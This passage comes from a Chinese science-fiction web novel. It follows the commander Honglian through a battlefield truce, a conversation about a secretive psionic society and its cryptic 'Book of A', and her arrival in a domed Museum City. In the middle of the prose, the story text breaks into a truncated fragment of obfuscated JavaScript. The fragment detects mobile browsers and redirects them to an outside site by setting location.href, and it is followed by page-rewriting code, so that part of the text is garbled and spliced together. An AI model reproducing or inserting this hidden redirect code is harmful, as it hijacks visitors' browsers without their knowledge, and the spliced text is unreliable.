队长：“登陆舰报告！东西方向都发现约3000名敌人！” 红莲：“大家不要慌乱，保持后撤，巨炮下转到最下角，护卫队在舰后组成一排后卫队，其余编入前卫队，前卫队每四台为一组，进入舰间空隙护卫待命，我单机在前。” 红莲关闭上肢联动，打开扬声器。 “太卑鄙了，玛丽安将军。” “我肋骨都断了，你跟我说卑鄙？你们都会死！我要彻底打消北极登陆南极的妄想！” “今天算我们平手好吗？” “红莲将军，我承认你有点指挥才能呢，我原计划在你们分兵通过人工岛时就能消灭。” “再打下去就会造成伤亡了呀，我接到的命令只是试探。” “我受的伤不是伤亡？你带着登陆舰说只来试探？” 在交涉的过程里，玛丽安部队重整阵型分成三团密集分队，红莲队伍完成了变阵，双方拉开了1公里距离。 红莲关闭了扬声器，推算出整个南极御前军团有25000到30000人。 这个玛丽安在南极三家乱局中哪找的这么多人呢？ “后卫队报告已到达人工岛光照区。” 这声通话刚结束，前方的玛丽安军团就冲杀过来，登陆舰巨炮开火炸散左右最前的敌人密集前锋，中尖的外骨骼前锋顶着雨点般的舰首机炮弹幕冲向红莲。 居中舰艇的巨炮为避开红莲，稍晚开炮使得冲在最前的玛丽安部队与后续部队脱离，但是，接近红莲的外骨骼战士有足足400人，还进入了舰艇机炮的射击盲区。 红莲只能用火炮和臂刀击毁或驱离最近的敌人。 “前卫队支援我！三艘登陆舰全力调整位置使巨炮瞄准我！” 激烈又嘈杂的炮击和金属撞击声，伴着处飞溅的火花与浓烟，掩盖了登陆舰大幅度转体和巨炮转向的动作，此时红莲的机甲全身爬满了外骨骼战士，她像一个不停甩飞机械虫群的的小山，身边更是围满了敌人，冲入舰艇空隙的敌人迎面撞上了支援而来前卫队。 队员们被红莲的勇武震惊，情急之下只能炮击红莲背面的敌群。 这一通炮击让红莲完全跌到了，人都磕在操作台上，嘴角和鼻子都破了。 这是她所有战斗经历中，最狼狈的一天。 “停！停！停！” 她按着扩音器，擦了一下流动的鼻血，但敌人丝毫没有停止攻击，前卫队员也只能掩护红莲机甲。 玛丽安喊：“你说停就能停？” “不停就一起死吧，舰首巨炮听我命令！” 这声命令吼的声音太大，冰面上的所有人类都看了一眼舰首，三根银亮粗大的巨炮管，黑漆漆的炮口正对着玛丽安。 人们真的停了，玛丽安感觉这三个黑洞像眼睛一样盯着自己。 她可能第一次离炮口这么近，实际距离其实很远，但对死亡的恐惧感让玛丽安和身边战士集团都以为就在脸前。 红莲在座舱内找了一圈，勉强用油布捂住鼻血。 “停，我真想骂人，爬上登陆舰的敌群也给我下去！把俘虏都给我放了。” 有的登陆舰上，外骨骼战士距离舰艇操作室的只剩一门只隔，她们将厚重的钢铁闸门撞的全是凹坑，里面的操作员大多是不擅长战斗的后勤队员，她们泪流满面聚在操作台前等待着命令。 “大……大家继续攻击，别管我们。” “我说？” “嗯？” “不至于，我带20台机甲换你400人啊，后面的战斗还不知道要死多少人呢，我们也不会坐以待毙对不对？你们没了指挥官也不一定能战胜我呢，这离人工岛只剩一步之遥了，我至少能带几台机甲逃出去，今天算平手好吗？我鼻子都磕破了。” 玛丽安从不真心听敌人的言语，但看着身边发呆的士兵们，她感觉到这些临时征召的战士在她死后，很难继续保持攻击意图了，大家只是靠人多的气势和忠于女王的决心。 “怎么平？” 红莲关闭了扬声器。 “前卫队与我汇合并肩，将敌人驱至机甲射程内，登陆舰回复，舰上没有敌人了吗？” “没走，但放了俘虏。” “好的，俘虏们驱赶敌人，要前后左右无死角观察舰体余敌，事关你们自己的安全，必须仔细并严厉！” 她摸摸鼻下，血止住了，咬咬牙又打开扬声器。 “所有敌人听我命令，我说所有敌人，离开舰体。我面前的400人立刻脱下外骨骼！在我前方30米处站成方阵！玛丽安将军你陪我走到光照区就好，你们最好照做，我的队员们都很紧张，稍有异常就会开火。” 红莲关闭扬声器，她已经交涉完所有要求了，绝境使她的队伍更具耐心和机敏。 等了几乎有一年般的时长，身穿灰白棉服的她们才站好方阵，像集训常见的跑操队伍，前卫队的机甲驱赶着敌人的步行方阵移动着，红莲计算着撤退路线。 红莲说道：“这个玛丽安眼含怒气不像能接受平手啊，后卫队移动到登陆舰最东侧驱赶敌人。全舰转向，进入光照区，每舰距人工岛平台3540米远，直线向北行驶。” “我……我们操作不了那么精确啊。” 登陆舰的队员都被吓坏了。 “尽量准确，远嘛，不要超过150米就可以，前卫队分成两组，保持对行人的开火射程，前后包夹行人，喊话驱赶她们移动。与后卫队汇合，汇合后释放人质，组成一排L形队伍，护卫舰艇，我在队外观察局势。” 红莲扔掉油布，用手擦擦脸，看着逐渐汇成半包围军团的敌人。 她想，无论自己还是玛丽安都太狼狈了，先不考虑自己轻敌导致的险情，这位玛丽安将军颜面尽失，一定会继续追击，可她已经没有丝毫胜算了。 全舰完成转向后，就释放了人质，她们不顾一切的跑向远方的外骨骼战士部队，冲在最前的玛丽安边跑边喊，她愤怒的拽掉兜帽，一头鲜红长发在冰雪狂风中被照成白亮，敌群在她进入外骨骼机体后才开始行动，蜿蜒的半包围圈渐渐汇成一个向北突出的严密机械群，最尖端直指红莲。 而红莲头也不回的追上护卫队，指挥机甲，对敌军突出部，密集炮击。 追击红莲队伍的近万架外骨骼战士很快也形成一面L形包围网，红莲看最前方敌人浓度已经覆盖了视线。 “后方机甲保持开火，与我一起向东移动，空出后方，不用管。” 玛丽安在交错碰撞的外骨骼机体间推开一条路，她这次计划周密，还设计并练成的岸防炮与外骨骼坐标联动的战术，必须抓获红莲，才能保证这个战术还能使用。 意识通信不仅有声音还会在面前的空气中显现字幕。 警告！人类载具已进入天狼星支援夜星机构灵魂能量促进协会管辖区域，限人方于30秒内离开！否则予以清除。 警告！人类载具已进入天狼星支援夜星机构灵魂能量促进协会管辖区域，限人方于30秒内离开！否则予以清除。 第三遍声音在她耳旁时，她才愿意面对人工岛上源源不断的飞到头顶的侍灵，还有围歼红莲队伍失败的事实。 “全军听令！放弃追击，全速撤离！” 10. 章10北极：雪原夜话 广袤大地上，难得的晴天。 暖炉的火光温抚着棕色斗篷的前片，红莲微斜视线，黑色发丝平静未动，她脱下兜帽，略抬清冷的脸庞，看向身边，雪绒丘陵下方的车辆，感觉车队围成的挡风方阵像她自己一样徒劳无功。 “贝比，很多事情不是输与赢的问题，目标在东边，结果却在西边。” 大腿的长度让黑色过膝靴过分贴近暖炉，贝比按习惯的坐姿，被火烤的不适，、将军长袍的前片挡在腿间，叉腿坐着，又感觉胸前灼热，金发都飘出焦味。 “可酒馆里都在议论你输了，胜败乃兵家常事，不说那事了。我最不明白，你为什么放着第五城区的将军不当，去博物馆都市当平民，刚才，你的队员都来送行，哭哭啼啼的，让我烦躁。” “你和黑白就是为了将军的地位而留在岸防连城吗？” “不知道她，我是喜欢高阶层的圈子，主动性在我手里。” “主动啊。” 红莲说完，接过队员递来的热水，询问了车内晴灯和橡树的情况，他俩似乎只愿待在温暖的环境里，她想每个人的个性竟然如此不同。 “贝比不喜欢当平民吗？” “不知道红莲小时候什么样，我在贝家是个异类，这凹凸的身体不适合灵能进化，还被她们嘲笑，我爱打架每天被安保机器人电击。” “我小时候吗？每日病痛缠身，觉得人生像一场噩梦，只有死亡能让我醒来。这噩梦的恐怖感又让我难以安息，我就懂了，无论我死活，它都不让我安心，我只能愤怒的抵挡它。前往博物馆都市也是我反击命运的一步。” 突如其来的震动。 雷霆炮响驱使全员做出战备反应，狂风自北向南灌涌，几乎将暖炉熄灭。 贝比和红莲登上雪白丘陵顶部俯瞰内陆，几万台岸防机甲在东西战区组成连绵不绝的战线，火花与炮弹爆炸的闪光在机甲群中闪烁，蛛网形布满雪原。炮弹流星雨般划过夜空，无数支援车为超大规模作战输送补给。 没人为这强大的攻势而喝彩，因为大家知道今天有几十万人要埋骨雪中。 人们闷头整理行装，四辆支援车依次出发，红莲下坡急跑几步抓住末尾车辆的外侧把手，她看出指挥这场大作战的黑白将军听取了她的意见，还发现擦身而过的后续机甲没有装甲，外露的钢制骨架内部也缺乏线束，原来这些机甲未装配涡扇发动机，就连臂内火炮都只有一侧，更别说臂刀了。 红莲的小臂被谁握住，回头看才知道车尾门掀开了，里面的队员握住红莲胳膊，将她拉进车内，行进了有2个多小时，暖风把人们的身体由外向内的温暖着，众人却注意到车速渐渐放暖，前窗口明亮的白光里，晃动着无数黑影。 两个队员趴窗张望，红莲拨开她俩，前方原本应该是空荡的内陆雪原。 现在，却充满了铺天盖地的工程机械，还在向南移动，似乎是从博物馆都市伸出的要吞没整个北极的机械巨蛇的蛇口。 “末车变前车，其他车辆雁阵跟随，我去和天家交涉。” 众人面带茫然的看着红莲整理衣冠。 红莲拿起大檐帽帽时，看向同样茫然的贝比。 “这个，请你还给黑家主大人吧，这身黑色制服我很喜欢，再穿一段时间，你先坐在车里等我，也许还需要你。” 贝比点头，她被这急转而下的紧张局势震慑住了。 车队完全静止了，红莲披上斗篷独自跳下车，没等她向北走，面前经过一队比厂房还高的甲虫形工程机械，与岸防连城工厂区研发区的机械是同一型号，这队还没过完，它身后又冲过两队工程机械。 红莲往近处看，它们下方的空隙间奔驰着密密麻麻的蜈蚣型多足运载平台，每节平台上间隔装载着轻型四足机械底盘和重型四履带战车底盘。 她转身贴着车厢向前走，大风吹掉兜帽，黑发抚满脸颊，红莲刚想用另一只手捂面前进时，指缝间竟看见，一辆蜈蚣列车冲向了自己。 红莲侧身，贴紧车厢，才明白这辆蜈蚣形列车是要贴着她行驶。 她继续走着，脑中闪过一丝诧异，再看身旁这辆蜈蚣列车上装满了她从未见过的载具，鹦鹉螺形状的机体内部有着巨大的开口空间，可能是乘员和武器的装备位置，机体背部折叠着四对长短不一的机翼， 红莲推测这是一种能短距离飞行的机体。 她想到飞行，看一眼天空，却没有天空了，黑幕中摆满了银亮的半身侍灵，它们手臂上伸，高速交替抓握着一个螺旋桨，实现空中悬停。腹部被圆锥形装置包覆，装置还没适配武器，线束从开口淋下，像极了被切断下肢的肠子。 这邪恶的飞行军团组成一张铺满夜空的银花魔毯，让观者不寒而栗。 红莲摸着车厢，一步一停的前行，感觉周围是充斥暴力的现实，自己形单影只。 不要去想，像大家一样逃避，活一秒算一秒吧。 红莲摸到车头时，只能背对一个警示灯狂闪的巨物，她用额头顶着车前冰冷的钢板，在黑色长发的遮掩下，在无人知晓的空间中，眼泪倾泻着。 这就是祖先们想要的结果吗？ 我微不足道，逃无可逃，螳臂当车只能挽救我自己的意志。 红莲轻缓的扭转身体，低头抚平斗篷的褶皱，看到黑色紧身裤和靴里陷满积雪，混乱的气流也不允许她整理长发。 她可以肯定，自己面对的是某种飞行巨舰，扁宽的舰首前部有三个凹槽，似乎是子机的港口，舰下部被黄色脚手架支撑起，密集的履带底盘托运了这艘巨舰，下部空隙里，战舰底部有一片巨大的半圆球，球面看起来光滑无比。 红莲轻按袖口。 “贝比吗？” “我在。” “通知晴灯和橡树，下车吧，你们跟在我后面，不要害怕，让车队回去吧，堵住路了。” 红莲独自在前，偶尔还扶着脚手架休息，她看母舰身上部有着几个大小不一的旋转基座。 她缓口气，继续向前走了不知道多久，舰尾后方停着大量的支援车，车型与岸防连城的车辆不同，托运的是一个居住舱。 她已经无心清点这些车辆的数目了，远远的瞅见了熟人，两人同时挥手靠近。 “红莲大人，是你们堵住车队吗？我正要上前疏通。” “元，天家主要灭了夜星吗？” 元噗嗤笑了，又赶忙接住脱力的红莲，向后看到三人，有被其他两人扶着前进的晴灯。 “天家主大人也很烦躁，似乎在等你，详情我无权细说，红莲你最好振作起来，做你想做的事吧，以后的变化谁也预料不到了，我安排个车，接你们到博物馆都市。” 无论谁看，无论何时，一身白衣的元都像身形矫健的美少年，给人奇特的自信感。 红莲在车队的空隙间穿行，撞开堵路的侍灵，走到离护卫队还有20米距离停下，拍打掉腿上的积雪，把斗篷重新系端正，再挥掉头发内的雪块。 天家主走出侍灵护卫队，笑说：“我以为你要趁登陆南极的机会逃走，哎你怎么还穿着岸防队服？留恋将军之位吗？” “你这是搞什么呢！” “哦?” 红莲抬头看天家主一身白衣，白色马裤上还是那种泡泡袖衬衣，衬衫外披着件白绒皮毛短款披风，胸前的波浪领口高挺，领间有金丝编制的束带。 不用说，肯定是贝家主给的赠品，这时代还能用的起皮毛和金饰的只有贝家。 白色发卷间也还是面带轻浮笑意的绝美脸孔，她等红莲站直，就转身向车厢走去。 “替神办事呀~我只是个运输队长，呵呵，灵能会想在我的地盘搞军备，天空城离我的博物馆不到100公里！嗯？我就觉得？博物馆都市和岸防连城之间有这么大一片空地呢，被机械生物占着多浪费呐？那7个实验城市快被机械生物包围了，140万人我没地安排呀？不如让她们为夜星尽点力，帮我腾出地方安装这些工程机器。” 她用云淡风轻的语气说完，红莲才知道北极这几个月来的巨变都是她轻描淡写的计划。 “也就是说，你亲手让灵能会在两城之间，钉下军事基地这枚钉子。” “呵？我有那么？哈哈！我的演员小红莲这演技越来越好了，上车聊吧。” 全身银衣的侍灵让道，两人进入一个车载居住舱，内部只有3把宽大舒适的椅子和一个酒柜，她两脱掉披风挂好，红莲倒了两杯饮料喝了，还倒了一杯天家主喜欢的甜酒。 天家主看红莲坐好了，却还没递给她，于是微皱一下眉，自己取杯，喝着也说着。 “算啦~天家主大人我就是这么宽宏大量~你小时候，那么小却~不卑微的样子！就让我觉得好笑！我感觉带你在身边，一定能给我很多乐趣！” “实话说，你的饮料好喝极了。” 红莲拿来瓶子边倒边喝，天家主手托着腮，另一只手在扶手上点动手指。 “我没兴趣拿你当外人，红莲，你也越来越熟悉我的想法了。这？嗯？暂时先叫灵能会载具工业带吧，我想搞懂天狼星的科技总得接触的到，夜星从古到今只有我善于在人类和灵能会之间周旋呢。我的自动机械！占工业带设备总量的85%！进可攻，退可守。” “打掉你的在线AI系统，你就全完了。” “啧，是是是。” 天家主假装愁容并起身倒酒，其实她另有计划，只要慢慢破解南极海岸上的机械兵团团长咖啡的控制权，咖啡本体就是一个性能很好的在线AI系统，秘密调回北极，指挥这片工业带所制造武器，不过天家主需要时间破解，有一个难熬的过度期。 “所以我也想学黑家主啊？搞一支自己的队伍，我看这清除机械生物大作战，你们指挥的不错，应该能剩点有战斗经验的市民。可是！指挥官的人选嘛~” “市民们不恨你吗？” “她们几十代人的价值观都是见利忘义~哪懂什么叫恨呢，哈哈。” “那我推荐一位有相同价值观的指挥官吧。” “喔？谁！” 天家主又双手抱拳顶着下巴，装成期待惊喜的甜美少女。 “贝比。” 贝比的名字从天家主的左耳进入，迅速联想到所有关联信息，老家博物馆都市也需要一个指挥官，首先红莲的价值观不够稳定，她和黑家主走的太近，不适合工业带这个位置，还是带在身边守家比较好用。 原本想让元兼任灵能会载具工业带的指挥官一段时间，但如果博物馆都市遇上要事只能由自己出面，缺乏回旋余地。 天家主以前谋划削弱黑家主的时候，就研究过贝比这个人，她有贝家血统里根深蒂固的利益思维，又是岸防连城将军之一，因贝比每天被仇视天家的队员们包围着，才不好下手，自己甚至退而求次的考虑过黑白的副官。 天家主用很短的时间反复思考贝比这个人。 “好啊~那她以后就是我的小贝比啦~带这个人来见我！” “元安排她们上车了。” “喂，元吗？你那有个叫贝比的人吗？让她来见我，嗯？哦！好的。小贝比大概被工业带这气势吓傻了！上错车了，哈哈，笑死了，我们等等她，哎？小红莲！我最近找个好东西。” 天家主说罢，扔给红莲一块木片，木材在这个时代极为罕见。 橙红纹路的木面上以银线写字，内容的是： A之书 0 只有我觉得，这个世界越来越疯狂了。 1 灵魂的密码就在基因里 狂躁被软弱中和 所以随机□□后的世界，从来是混沌的 然而恶更容易使自身变强 到了只剩恶的年代，世界本身已经毁灭了。 我终于明白了世界为何从未改变 因为世界从来都同一波人循环。 2 自然的本质是只读 暴力的本质是改写 3 只要永生技术突破，物种就会自我毁灭。 这条定理包含了生命追求确定性的悲哀。 4 想发现新世界，就不要从已知中找证据 不要惧怕毁灭，所有旧事物都是牢笼 不要建立规则，所有规则都无法触及智慧 5 这颗星球最真实的样子，没有白天，只有黑夜。 “这是什么？像某个中二病的狂言。” 红莲说完，将木片还给天家主。 她拿木片扇风，闭着的眼睛似乎转个不停，说道：“你想知道什么是灵能会吗？” “你会告诉我吗？” 天家主表情暗淡下来，用鼻息寒气的同时摊手。 “我也不知道什么是灵能会。” 两人沉默了3秒，天家主每整理一下思绪，就叹一口气，这很反常。 “我是灵能会成员，却不是会员，成员就是打杂的，贝家主和黑家主也是灵能会成员。我知道的，不比历史书多多少，哎哎~” 天家主继续说：“新元1056年，一个名不见经传的小组织——灵魂能量促进协会，突然取代永生计划基金会，总商会，世协这三大世界级组织，开启灵能永生进化时代。可实际呢？哪有横空出世的组织啊！今年是新元4027年，我们用的是新元317的技术，海里还有新元773年的血肉！一切都是连绵不断的，只不过是你放方唱罢我登场的关系，凡事要用动态的眼光看啊，小红莲。” 这些正是红莲想要的情报，便问：“您的意思是灵能会早在新元1056年之前就存在了？” “正确！灵能会在天空城里有个纪念馆，里面展示着8000年前的灵能会文物。” “它从人类文明诞生之初，就主宰着世界吗？” “哈哈，怎么可能？” 天家主仔细端详木片后，继续科普。 “我仔细研究了每一件文物，发现在新元300年之前，灵能会不过是神神叨叨的研究神秘学的古老组织，充其量就是一帮鬼迷心窍的神棍！但在某人成为会长后~世界以她为节点，潜移默化的发生了巨变。” “会长是什么意思？灵能会内部的组织架构吗？” “嗯！有24个座椅，座椅的主人是会员，会长叫A，就是这木片的主人，可能？也不叫A，因为似乎所有会长都叫A，可这位A就名垂千古。” 红莲又抢回木片，仔细研究和阅读着。 “你是说，这位A？从永生技术尚未出现的新元300年一直活现在？还在天空城里管理着夜星？” “不清楚，我说了自己知道的不多，一切不过是我研究文物后做出的推测。天空城里，我能随意进出的地方只有灵能会历史纪念馆。这个木片，还给我，嗯，看文物标签说是A的私人笔记内容之一，被其他成员抄写在这个木片上。我们来玩个游戏吧，小红莲？” “怎么玩？” “A之书从0到5一共6句话，我们每见一面就对一句，各自做出点评。” “我现在就能一口气说完！” 天家主将木片收入衬衫内兜。 “哎？我刚说过要用动态的视野看问题，这6句话明显不是在同一个时代写的，来吧，回忆一下第0句。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875288|176283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> A之书：0，只有我觉得，这个世界越来越疯狂了。 红莲：“0，生命的意义早被名利抹杀了。” 天家主点头表示满意，红莲能领悟到第0句写于新元300年并推想当时环境。 “孤独是站于顶层者所必经的苦难，古代贤者说，人需要别人当镜子，照清自己，而全世界都是我的工具。” “我是你的镜子？” “对，因为没有人认同真正的你，红莲。” 旧时代的遗孀 元带贝比上天家主所在的车时，红莲正在雪地上操作起重机卸掉一辆支援车运载的居住舱，她和元简单交谈后，就独自驾驶空载的支援车向博物馆都市进发，她希望能追上晴灯和橡树，一起通过正门的检查。 车辆冲出大型支援车队尾，迎接红莲的是永恒无际的朦胧白色，雪毯正如冰冷却气息尚存的自然母亲，温柔的拥抱着大地和山脉，还有她。 驾驶室的三面玻璃窗能清晰的看遍北极内陆的简单地理环境：正前方横占大部分内陆的超大透明穹顶像豪华餐桌上的半球形餐盖，美好缤纷的博物馆都市就是穹顶下的美食。这道美食后方的山脉之中，发的金光就是贝家的金山堡。西部冰山之间闪烁的灯光就是科考站要塞，山体遮挡着无法看清它。再往博物馆都市东部看，全是高耸入云的山脉，一个扁平的圆圈悬停在山谷口，这个突兀的东西就是传说中的天空城，城下若隐若现的白色，那是神力开凿的东部山谷入口。 整个北极以博物馆都市为中心，城市呈十字形分布，有种非常强烈的人工制造感，因为北极就是人工技术开发的地区。 几十万台建设工业带的机械驶过雪地留下的痕迹，已经被风雪所掩盖、 似乎一切都是徒劳，红莲看着车前被雪吞没的踪迹，后仰查看驾驶室，竟然如此整洁，侍灵用过的东西像新的一样，没有任何生命存在过的感觉，她想把帽子放在副驾驶座，却发现没有戴。 红莲渐渐觉得，自己掌握命运这个目标，可能无法实现了。 她被一只大手蒙蔽，所有努力，不过是为其服务，不仅被骗，还染上了说谎这病毒。 “我要清除它，做回我自己。” 生命总被闪闪发亮的东西吸引，博物馆都市穹顶外大约30公里的雪原上渐近渐闪着一条金光带，像贵族胸前佩戴的金饰。 金带随着红莲的支援车向北前进变的清新，比大型支援车还宽两倍的扁平履带车辆周身被金线与金花装饰，这些金车围向红莲。 一座移动的黄金堡垒，庞大无比的复古车身上装满了各类机炮，就连炮管都用金纹贴满。金车队围堵住红莲的车辆，使她不能脱身，金车侧开步梯走下近百名金发人，她们名手持金枪，队列有序，像古代仪式，就这样在红莲的车附近站成6排。 红莲看此阵势，打算在车里睡一觉，半闭的双目缝隙，闪着刺眼的金光，单手遮眉，看堡垒高处开启一个巨门，下方渐渐变成了宽大的黄金步梯，直到雪面。 门内先是出现两个金发人，缓缓出现一个豪华的机械轮椅，椅子上坐着一位头戴花藤金冠的女子，金发卷成一条条螺旋卷束，每个卷以金丝做束带，面相可爱至极，明亮的大眼睛有甜美的卧蚕，滑嫩的鼻型与脸蛋，嘴唇小巧富有肉感，抬手用金扇子遮住口鼻，以高视低的角度使她眼中充满轻蔑，全身是古典的深褐色蓬蓬裙，裙上有着难以辨识的复杂金花和金丝图案。 黄金堡垒的主人出现后，红莲就不得不下车，抓着车侧扶手，缓缓放开，走到黄金台阶前，半跪向她行礼，随后起身戴好兜帽，人们沉默了30秒。 “下面站的黑发人，你叫什么名字？” “红莲。” “知道我是谁吗？” “贝家主。” “真无礼！” 人们能听到堡垒高处，她收扇子，击打轮椅的声音。 又僵持了10秒。 “我听说你和一个叫晴灯的负责研究机械生物动力，有成果了吗？” “不说。” 红莲身边的金发人们分秒不差的同时举枪。 “跪下！” 这句也齐声，红莲顺从的半跪着，高处的贝家主稍感愉快，熟练的一抖金扇。 “黑家主派你到南极干什么？” “不说。” “可笑的东西！你觉得你有天家罩着，竟敢如此无视我！以后呢？呵呵。” 沉寂2分钟后，可爱的金发少女又开口了。 “天弧搞这么大动作有什么目的？” “不认识。” “天家主运这么多工程机械到中部雪原有什么目的！” “不说。” 金扇收起的声音，稳缓的脚步声，贝家主双手提着蓬蓬裙，每走一步金发螺旋卷也优雅的跳动，裙下的白色南瓜裤不慎显露，红莲就低下头。 贝家主来到雪面，近到裙摆贴住红莲头发，金扇狠狠按住红莲头顶，红莲感到金扇传来的怒气，有对她的，也有对整个天家的。 不久后金扇的力道放松了。 “卑贱平民的脑浆弄脏我第几把扇子了？我记不得了，你懂吗？普通的红莲？” “懂。” “我这次出访，避开了所有眼线，绕了一大圈，专门等你，因为你有点用处。” 红莲仍然不说话。 “我的密探刚才拦住一辆车，听司机说上面坐着晴灯，博物馆都市有一半人是我贝家的，你能开口了吗？” 红莲说道：“让我顺利，我就给你顺利。” “死硬的武人都这么小心眼啊，也罢，等你进入我的笼子，不怕你不顺从，我有需要，会派密探找你，你不要再不识抬举，懂吗？” “懂。” “哈欠，启程回金山堡，你们一会扫静台阶的雪花，雪里都是平民的恶臭。” 昂贵的金车启动声很小，移动后的噪声在复杂减震机械作用下也变轻微，只有那台黄金堡垒受限于结构复杂，噪声仍然响亮。 红莲等到声音渐远，长叹后站立，看那车队熄灯，分成两队，向东西驶去。 她驶入巨大穹顶下方的停车区，步行通过侍灵执勤的检查站，走入一个洁白的宽阔长廊，内部暖风很热，红莲脱下斗篷，挽在小臂上，走着，看到字幕指引，就靠近东侧大厅门口。 门在红莲的脚靠近时收入，厅内的办公长台后坐着4名白衣白发的人员。 “编号HZ178901，特许入城，身份名片的备注写什么？” “什么是备注？” “旧名称！” “红莲。” “有私人物品吗？” “这身衣服。” “呵呵！行吧，到西侧体检大厅更新身份信息名片，站上体检圆台，清洗身体，领取两套天家制服，在密封机打包旧衣服，带过来清消。” “什么是清消？” “啧！清洗！消除衣服的智能系统！这里是天家！怎么可能让黑家的系统进入！” “噢，在我之前有两个人，备注是晴灯和橡树，她们进去了吗？” “今天就三个人！有个女的还用啥黑家主随从身份免检！衣服得清消啊！和我吵半天，我查查，嗯！进去了，和你是邻居。” 红莲做完所有入城流程，看着玻璃门映照出的自己，一身白色直筒过膝长裙，肉色长袜与白色低跟鞋，她轻按领扣，呼出了全息面板，显示着住址和许多菜单，最显眼的一个按钮是评分7信息库，注视久了，自动弹出语音识别框。 她关闭领扣，单手提着密封的岸防士官制服和斗篷，向长廊深处走去。 11. 章11北极博物馆都市：末世乐园 浮空的全息投影随观者视线，在所有恰到好处的位置播放灵能会和天家的成就，虚拟人像声音甜美。 “欢迎您成为智慧天家的一员，我们从机械时代开始创造着机械，电子，信息等先进技术，肩负重建夜星自然环境的使命。这座都市包含夜星的一切历史与成就，得名博物馆都市。这里有数百万种课题，等待您发现并研究，请您与所有市民携手将博物馆扩大，让我们成为夜星本身。” 白发的人们除了高低不同，身材几乎一致，都穿着白色过膝长裙，她们漫步在雪白长廊内，步调统一而自信。 偶然出现的高个身影，黑色长发分外显眼。 红莲感觉这里与岸防连城寒冷不安的氛围截然不同，人和物都传达着舒适与放松。 她在迷宫般的长廊里闲逛了一会儿，跟随人潮来到长廊尽头。 标明观光环的指示牌下面有一部超宽的斜上扶梯，她跟别人走上台阶，自动升起一圈透明围屏，上升过程持续了半个小时。 到顶后，人群分流在两侧向后走，红莲被眼前的景象吸引了。 身处的宽阔天台以环形包围博物馆都市，向内能俯瞰，黄白相间的低矮建筑铺满大地，细看建筑风格各异，极具美感。每间房子的周围种满花卉，这些建筑被三道环形公路隔开，环形的中心点都是一个悬浮的银白巨球体。 红莲注意到球体下方的影子极小，似乎像个凹陷。 她立刻向上看，超大的透明穹顶中心，居然有一个空洞，能看到外面的夜空，这时才注意到上空没有任何光源，这穹顶不仅完整罩住整个都市，还能向内提供光照和热量。 市内，建筑群形成的圆毯上，摆了天鹅雕塑。 红莲站在天台，以如此远的距离，还能看清这四只巨型天鹅，它双翅向天空伸展，头颈却向下含住地上的金苹果。 再看观光天台附近的街区，是高楼大厦群，似乎缓慢向内侵蚀着平坦的低矮建筑。 当红莲想看清这些大厦的结构和用途时，才发现眼前不断升起一排排座位，有白黑黄三种发色的人离坐向她身后走去，红莲找到座位空隙向下看，居然是立直安装的巨型履带，人类像铁片一样，被不断转动的履带运往上下层，这明显不是用来运输人员的装置。 红莲转身向后看，除了人群还是那雪白的大地与夜空，她推测城内的市民很难获得外出许可，来此平台观光，欣赏夜星的自然环境。 她坐进一部座椅后，椅背自动弹出保护锁，椅子缓缓下降，穿过林立的高楼与巨塔。 身下全是高耸并互相连接的工程机械，缝隙间，整个都市贴着穹顶建起一环钢铁堤坝，坝内或许有强大的武器系统，还能遮住博物馆都市的市区。 椅子下降到地面以下约800米才停止，红莲离坐，跟随指示牌，进入车站长廊。 洁白的墙面上有美妙的金丝装饰，道路中间间隔摆放着人形雕塑，这一番惬意感受使人虚心求学，看到侍灵雕塑也不那么诡异可憎了。 “天狼星文明古老而博学，早于人类2000万年掌握灵能学，人类在文化，历史，艺术，哲学，社会科学投入太多无效时间，我们必须承认人类的盲愚，请您全身心研究所选课题，为夜星文明发展做出贡献的同时净化自己的灵魂，才有幸倾听天狼星文明的教诲，成为伟大神明中的一员。” 红莲走出雕塑的意识信号范围，这信息才离开大脑，看到前方的人都站着，浮在空中快速移动。 她停在纯白大厅中来回走动寻找载具，人们见她的样子就纷纷用手捂脸，与同伴窃笑。 红莲收起怒意，注意到每个人都按动过领扣，自己也按动一下发现住址菜单频繁闪烁，点击后，一块地砖频繁闪光，人走上去，地砖就跟随人一起浮空飞行。 红莲保持从容，站上去后身体就快速前冲，笔挺的站姿让她本能的想放低重心，却发现全身动不了，这件白色长裙牢牢锁住了她的身体。 前冲后又是高速下降，站直的人们在空旷又封闭的地下空间中，上下前后左右高速穿梭，红莲向下观看，无数工程机械搬运着货物，脚下的方砖移动到超宽轨道。 地砖与地面融汇成一体，红莲才能动了，这飞行体验似乎不会对身体造成伤害，只是让初次使用的人感到不适。 她试着走了两步，想扶墙体缓解身体，却发现这灰白色的墙体毫无手感，似乎是长裙控制并禁止她的手再伸往墙外，她立刻抬头看天，很多人直接穿过灰白墙面，原来这长廊的所有墙体只是全息投影，墙上还很快复现出亲切的虚拟人像。 “您好，红莲，我是黑发市民课题组综合管理AI，博物馆都市的一切物体和人员都由在线AI系统进行精确运算和管理，您只需要解决课题并提交成果。鉴于您是全新的市民，请乘坐城市电梯到达住址后，熟悉居住环境并休息，都市自动提供给您生活所需的一切物品和服务。” 晴灯带她辗转于十多座实验城市的12年里，母女经常乘坐城市电梯，这是一种子母成套的交通工具，子体像设计简洁的豪华轮椅，用于所有短途交通。 红莲走到子体乘坐架前，坐入一台，锁好防护带，身边的黑色短发少女还帮她找到启动按钮，两人相视一笑，各自出发。 母体是一辆类似移动衣架的地铁列车，车身挂着一个个的母体舱，子体全部驶入母体后，列车会极速出发。 行驶过程中，目的地不同的母体与列车分离，前往其他列车挂载。 红莲看不到外面，母体舱壁通体白色，她从体感上推测列车正驶向博物馆都市中心，回想刚才看到的建筑布局，红莲判断整个都市被四条主轨道以十字形分成四个扇区，地下运输人员和物资，都市的环形边缘作为工业区。 她等待了一个多小时，列车靠站后，跟随人潮来到地面。 地铁站外，两侧也有浮空踏板停放区，道路被白色的居住建筑挤的不宽，路和建筑两旁都有绿草鲜花，红莲第一次见到花朵。 这株淡红花吸引了她，轻抚绿叶是近乎塑料的手感，近闻花中没有一点香气。 